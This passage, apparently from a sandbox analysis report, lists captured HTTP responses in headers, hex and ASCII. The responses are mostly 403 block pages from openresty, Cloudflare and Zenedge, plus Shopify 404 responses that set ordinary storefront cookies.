65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 216x-sorting-hat-shopid: 66042101977x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=1a377e01-8508-44cd-8890-05425d809d32; path=/; expires=Fri, 25 Oct 2024 09:48:43 GMT; HttpOnly; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=domon.com; path=/; expires=Sat, 26 Oct 2024 09:18:43 GMT; SameSite=Laxset-cookie: _shopify_y=6f5643c3-b65e-4741-b5cc-83a5ceb701a0; Expires=Sat, 25-Oct-25 09:18:43 GMT; Domain=domon.com; Path=/; SameSite=Laxset-cookie: _shopify_s=110ad47b-2c89-48a0-abb5-3d885d22b876; Expires=Fri, 25-Oct-24 09:48:43 GMT; Domain=domon.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginx-frame-options: DENYcontent-security-policy: frame-ancestors 'none';x-shopid: 66042101977x-shardid: 216Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:43 GMTContent-Type: text/htmlContent-Length: 19268Connection: keep-aliveServer: ApacheLast-Modified: Fri, 13 May 2022 08:04:11 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:58 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NWIiGWUPGEHPq%2Bt1noAYi9A%2B1A%2FLiNAQGBAbuGX7mhn6F4HvHDai8AvS8uZ1XSoFFVp3DggZMeOVntBJcKRkfFIc6Jo74fXgryetpiL883WcwboacuRreW%2BOwagymD6x"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811ef4efa22cd7-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1844&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=788&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d Data Ascii: 11a1<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><m
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveDate: Fri, 25 Oct 2024 09:18:44 GMTCache-Control: no-storeCache-Control: no-cache, no-store, must-revalidateCache-Control: max-age=0X-Zen-Fury: a0b3de1ec668fde4745d2af44deb0e643669390eX-Cache-Status: Server: ZENEDGEData Raw: 32 61 61 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 69 66 20 28 74 79 70 65 6f 66 28 5f 5f 5f 7a 65 6e 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 73 65 74 54 69 6d 65 6f 75 74 28 61 72 67 75 6d 65 6e 74 73 2e 63 61 6c 6c 65 65 2c 20 35 30 29 3b 20 72 65 74 75 72 6e 3b 20 7d 5f 5f 5f 7a 65 6e 2e 68 69 63 28 22 5f 5f 5a 45 48 49 43 31 37 38 30 22 2c 20 31 37 32 39 38 34 37 39 32 32 2c 20 31 2c 20 30 2c 20 36 30 29 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 68 69 63 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 64 69 76 3e 3c 68 31 3e 34 30 33 3c 2f 68 31 3e 3c 2f 64 69 76 3e 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 66 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 76 61 72 20 76 20 3d 20 31 37 32 39 38 34 37 38 36 32 20 2a 20 33 2e 31 34 31 35 39 32 36 35 33 35 38 39 38 3b 20 76 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 76 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 5f 5f 7a 6a 63 32 30 30 33 3d 22 2b 76 2b 22 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 32 35 20 4f 63 74 20 32 30 32 34 20 30 39 3a 32 30 3a 34 34 20 55 54 43 3b 20 70 61 74 68 3d 2f 22 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 2aa<html><head><title>403 Forbidden</title><script type="text/javascript">(function(){ if (typeof(___zen) === "undefined") {setTimeout(arguments.callee, 50); return; }___zen.hic("__ZEHIC1780", 1729847922, 1, 0, 60); })()</script><script type="text/javascript" async="async" src="/__zenedge/assets/hic.js?v=1674207422"></script></head><body><center><div><h1>403</h1></div><h1>Forbidden</h1></center><script type="text/javascript" async="async" src="/__zenedge/assets/f.js?v=1674207422"></script><script>(function () { var v = 1729847862 * 3.1415926535898; v = Math.floor(v); do
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:59 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FY2quapEjQA0lvyEDc6ZjV55LqfZYejoD6ZZ0Ssd11bUj6WcdyetJFQoEW95S84CaUziKdWNvgQpJSut3xbsPshZBPdVNDMSQ0VOOOejKgPTdv4WgvyuXfnP7FT9ciw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811ef748ac479c-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1116&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=815&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 35 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 Data Ascii: 154a<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:44 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4514Connection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:59 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7KOHaKUL1AVc4vnAcjoh4ic%2B%2BwWD87EXKP4X5Db6FzlqCdcG7WhrzFsmPSGSECiyj7IsiE%2Be%2ByDHj1M2ssKQsOj2HIevHLhxxXC63rl0Cpl1xpLuXEHx%2BCrtqZLKWmgT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811ef8dba9e8f9-DFWData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 Data Ascii: <!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollo
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:18:45 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 216x-sorting-hat-shopid: 66042101977x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=1599f2d6-7837-4322-9484-4b88c7aea4b8; path=/; expires=Fri, 25 Oct 2024 09:48:45 GMT; HttpOnly; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=domon.com; path=/; expires=Sat, 26 Oct 2024 09:18:45 GMT; SameSite=Laxset-cookie: _shopify_y=6f5643c3-b65e-4741-b5cc-83a5ceb701a0; Expires=Sat, 25-Oct-25 09:18:45 GMT; Domain=domon.com; Path=/; SameSite=Laxset-cookie: _shopify_s=110ad47b-2c89-48a0-abb5-3d885d22b876; Expires=Fri, 25-Oct-24 09:48:45 GMT; Domain=domon.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginx-frame-options: DENYcontent-security-policy: frame-ancestors 'none';x-shopid: 66042101977x-shardid: 216Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:19:00 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E6iMHppOgIfK3Dy%2F0DtFFZpOQa0e3ABjpObwjc7uggYaCXVcPSc6S1%2BS9hImr8mGF81SRNilKY743PUHhXoisMxA8rbAZRkaqoI6aY62TiIPR0TxXejiPBT9DTscv8g%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811effdd53e993-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1380&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=815&delivery_rate=0&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 35 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 Data Ascii: 154a<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><me
